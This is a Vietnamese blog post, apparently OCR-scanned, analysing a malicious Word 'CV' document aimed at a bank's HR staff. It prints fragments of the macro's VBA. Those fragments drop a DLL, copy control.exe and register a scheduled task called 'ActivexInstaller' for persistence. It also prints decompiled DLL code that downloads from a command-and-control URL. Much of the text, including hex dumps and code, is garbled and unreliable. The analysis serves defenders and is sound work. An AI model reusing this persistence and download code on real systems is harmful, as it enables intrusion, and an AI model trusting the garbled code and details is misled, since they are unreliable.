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Dot r6i, sau khi t6i c6 dang status xin dao trén FB, may qua ciing c6 vai ban nhiét tinh gti cho. Mau nay theo
nhan dinh thi target thang vao bo phan nhan sy ctia Bank. Sample c6 tén dang:

CV_<ten_ung_vien>_ChuyenVienKhachHangCaNhan

Press enter or click to view image in full size

1. Phan tich XML file

File nhan dugc c6 phan méd rong la .doc nhung khi kiém tra bang HxD thi thdy day la mot XML file, khong phai
la OLE file:
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58] CV_NS_X_ChuyenVienKhachHangCaMNhan.doc

Offsec (h) 0 01 02 03 04 05 06 07 08 09 OA OB OC OD QOE OF Decodesd text
----- so0  Ed 78 &C 7€ 72 €9 6E 22 d2xml version="l
10 2E 22 E5 €3 £4 EE 3D -1 0" encoding="UT
0 0 46 2D 38 22 20 4 EE €4 61 EF €65 3D F-8" standalone=
0 30 22 7% 85 73 22 3F 3E 0D OA 3F D 73 2D 61 "yes"?>..<?mso-a
0 0 70 70 &C 63 61 T4 i} 6F € g 70 72 &7 €% pplication progi
0 0 &4 22 57 &F - &4 44 63 75 6D &5 EE d="Word.Document
0 60 22 3F 3E ORA 77 77 72 44 €3 ">, cAwiwordDocu
70 &D 6E 20 & 6E 3R €D 3D : ment Xmlns:aml="
’ 68 74 35 : 2F 63 ¢ €5 6l 2E http://schemas.m
69 ¢ T2 6F 73 66 74 2E ¢ D 2F 61 &D icrosoft.com/aml
2F 32 30 21 2F &3 6F 72 &5 2 78 6D €C 6E /f2001l/core™ xmln
73 3A 77 70 €3 3D 22 74 74 T0 3A 2F 2F 73 €3 s:wpc="http://sc
&g S 6D 81 T3 &eD & 63 72 &F 7 6F 66 T4 ZE hemas.microsoft.
&3 &D 6F €€ 63 & 2F 6F €4 2F com/office/word/
32 31 2F 6F 64 T2 63 T3 T 2010/ wordproceas
g &% &7 6l 76 61 73 & 20 eD 6E 73 ingCanvas"™ xmlins
0 3N €4 T4 3D 22 75 75 £9 €4 3L 43 46 34 31 3¢ rde="puid:C2F410
)0Q0o0110 31 2D 356 35 42 33 2D 31 31 64 31 2D 41 32 10-65B3-11d1-A29

Ta c6 thé st dung oledump (https://github.com/DidierStevens/DidierStevensSuite) cua tac gia Didier Stevens dé

kiém tra thong tin lién quan:

Wi enkhachHang anhas

Nhu trén hinh thi file nay cé hai stream chinh la A: oledata.mso va B: editdata.mso. Trong d6 tai stream B,

oledump phat hién stream B3 la mgt macro stream. Hoan toan c6 thé ding oledump dé dump ra VBA code:

Ngoai ra, ciing c6 thé st dung olevba (https://github.com/decalage2/oletools/wiki/olevba) ctia tac gia Philippe
Lagadec dé dump VBA code:
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combined

| Xor

E C file name
| propsvys. cecut e file name
file nam

Cac ban c6 thé doc code chay dé hiéu xem VBA lam gi, nhung t6i thich dung tinh nang Debug VBA code cia
Office.
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VBA code thye hién trigger ngwdi dung khi ho dong tai liéu, n6 sé goi t¢i doan code sau:

Private Sulk Document Close ()
M=gBox "Are you sure you want to exit the application?"™, vbQuestion

If Not Extract Then Exit Sub

If Dir(resulc dll) <= "¢ Thed
Create

End If

End Sub
Dau tién sé goi ham Extract(), ham nay thyc hién nhiém vu drop ra mot file dll c6 tén la propsys.dil

(a9483fffb2cc476837d42832df2d79c5) va copy file control.exe (1a Windows Control Panel cia hé thong) vao thw
muc % LOCALAPPDATA%:

Thue hién thanh cong ham Extract() sé goi tiép ham Create()dé cau thanh mét VBScript va lwu toan bd n6i dung
clia script nay vao file abi.vbs (612f6862f823a16736b1334daad3e810) tai thw muc % APPDATA %. Sau do, st
dung cscript dé thurc thi file abi.vbs vira tao:

Phan tich file abi.vbs thi thdy dinh nghia mét task dé thuc thi file control.exe da dwgc copy vao thw muc
%LOCALAPPDATA %:

e objRootFolder.CreateFolder(“\ActivexInstaller”): Tao thv muc ActivexInstaller tai
C:\Windows\System32\Tasks\ActivexInstaller

o Khai bdo mot task mdi va cung cap cac thong tin lién quan:

Press enter or click to view image in full size

Page 4 of 8



https://tradahacking.vn/%C4%91%E1%BB%A3t-r%E1%BB%93i-t%C3%B4i-c%C3%B3-%C4%91%C4%83ng-m%E1%BB%99t-status-xin-d%E1%BA%AL o-tr%C3%AAn-fo-may-qu%C3%A1-c%C5%AINg-
¢%C3%B3-v%C3%A0i-b%EL%BA%ALN-nhi%EL%BB%87t-t%C3%ACNh-g%EL%BB%ADI-cho-537b19ee3468

Ser objNewSarckDefinicion = objSatkService.NewTask(0)
With ocbjNewSatkDefinition
.Data = ""
Wich .RegistrationInfo
+Author = objSatkService.ConnectedDomain & "\" & objSatkService.ConnectedUser
.Date = strTime
End With
Wich .principal
«ID = "My ID"
-DisplayMame = "Principal Description"
'.Userid = "Domain\myuser'
.Userld = objSatkService.ConnectedDomain & "\" & objSatkService.ConnectedUser
.LogonType = 3
.RunkLevel = 0
End Wich

» Thiét lap trigger cho viéc thue thi va tao ra mot file la ActivexInstaller c6 dinh dang XML dé lwu thong tin

vé task:

Set objSatckTrigger=s = .triggers
Set objSatkIrigger = abjSatkIriggers.Create(l)
With objSatkIrigger
.Enabled = True
LID = "TimeTriggerIDl™
StartBoundary = strTimel
With .Bepetition
.mration = "P1D"™
.Interval = "PT30M"™
End With
End With
Set objSatkfction = .Actions.Create(0)
With objSatkiction
.Path = "C:\Users\REM\AppData\Local\control.exe"™
End With
End With
Call objSatkFolder.RegisterTaskDefinition( _
"ActivexInstaller™, objHewSatkDefinition, &, , , 3)

Activexinstaliar

Narne Path Sze Date Modfied

0] Activexinstaller | C:\Windows\ System32\ Tasks\ Activexdnstaller 4KE 10/8/2019 2:10 PM
.. Activexinstaller CAWindows\System3 2\ Tasks 10482019 210 PM

Scheduled task sau khi duwgc tao thanh cong sé twong tw nhw sau:

(0 Tk Schesduler (Local)

- BB Task 5 Kby Hame Stabus  Tongpsrs Hest R Tamt: Last Ruirs Tomne Lk Run Fesaslt

Betarpdngtaller ] Actionninalaller  Ready AR 200 PM.on IVE2019 - Aer tiggened, repeat tvefy 30 mirnbes fod 3 durstesn of | dey.  HVR05 23208 P Mever
Mesreiel

1 DificeSay o

1 weD Genaral | Trigges| Actiont | Conditions. | Setfings | History (ditabled)

'Wihen yous craste o berk, you mutt specify the sction that will ooos when your task ety To change these scfions, open the lssk property pege: using the Properties command

[ csen Damait
Staet o program C\Ugerd\REMAppDiataL ocaliocntreLene

2. Phan tich so bo propsys.dll (32-bit dll)

DIl nay export mgt ham duy nhat la PSCreateMemoryPropertyStore:
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Offset Mame Value Meaning
FAZD Characteristics 0

FASd TimeDateStamp SC44DBAE Sunday, 20.01.2019 20:35:58 UTC
FAZE MajorVersion 0

FASA MinorVersion 0

FABC Name 11482 propsys.dil
FASD Base 1

FAGY NumberQfFunctions 1

FASSE MNumberOfiames 1

FASC AddressOfFunctions 11448

FAAD AddressOfNames 114AC

Faad AddressOfNameQrdinals 11480

Exported Functions [ 1entry]
Offset QOrdinal Function RVA MName RVA Mame Forwarder
FAAS 1 1450 114BE |PSCreateMemaoryPropertyStore|

C6 Import cac ham tir hai the vién kernel32.dll (67 funcs) va wininet.dll (4 funcs). Dé y cic ham dugc import ti
thu vién wininet.dll ta thay rang dll nay sé thyc hién két noi tgi Internet dé doc file nao dé:

Offset Hame Func. Count Bound? OnginalfirstThun TimeDateStamp  Forwarder Hamefvia First Thunk
Fap4 KERMEL3Z2.dIl &7 FALSE 10E1D 0 o 10F3C BODG
F3ER [WANINET.aN 4 FALSE ToF20 0 b 10FFE B

WINMET. A [ 4 entries ]

Call via Hame Oirdanal l:lrigm.ll Thunk Thunk Forwarder Hing
Bl IntermetReadFile = 10FCE 10FCE : 5F
B114 IrtermetOpenliidy = 10FBA 10FBA ]
B1i8 IrternstChpenihl - 10RAL 10RA2 G
B1ic InternetCloseHandle 10FE2 10FE2 68

Tap trung vao ham dugc export la PSCreateMemoryPropertyStore, ta thay tit ham nay goi tdi cac sub function
1a sub_10001B90; sub_10001250; sub_10001770; sub_10001390. Trong d6, dang chu y la sub_10001250 vi n6

goi tdi cac ham c6 truy xudt tGi Internet:

sub_10001B90 lam nhiém vu c4u thanh chubi URL (hxxps://sub[.]journeywiki[.]Jcom/nancy.ico) trong memory:
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dst = *(wchar_t **)ESHEL:

}

if ( numBytes )

{

(dst, L"https://sub.journe ki.com/nancy.ico”, 2 * numBytes);

}

vlié = *(_DWORD *)(S2UFL + @x14) < Bu;
*( DWORD *)(SZUFl + ©x18) = numBytes;
if ( vie )
{
*(_WORD *)(*(_DWORD *)EENRN + 2 * num
return SEUEE:

}

Ham sub_10001250 lam nhiém vu két n6i t6i URL trén véi user agent la “Mozilla/5.0 (Windows NT 10.0;
Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0” dé doc file va lwu vao ving buf c6 kich thuwde 1la 0x400
bytes:

Press enter or click to view image in full size

=l = (const WCHAR *)&
ed int)ab >= 8 )

»n_handle, specified Url, &, @, 8x3188u, 8);

, buf, 8x408u, {LPDWORD)&b

ad);

Rat tiéc tai thai diém hién tai thi C2 da chét nén khong thé phan tich duwgc gi thém. R4t cdm on cac ban trong

friend list da chia sé cho t6i!

Get m4n0w4r’s stories in your inbox

Join Medium for free to get updates from this writer.
Remember me for faster sign in
Sharing is caring!! :pray:

P/S: Ban nao c6 thém thong tin khéc thi vui long dé lai comment !
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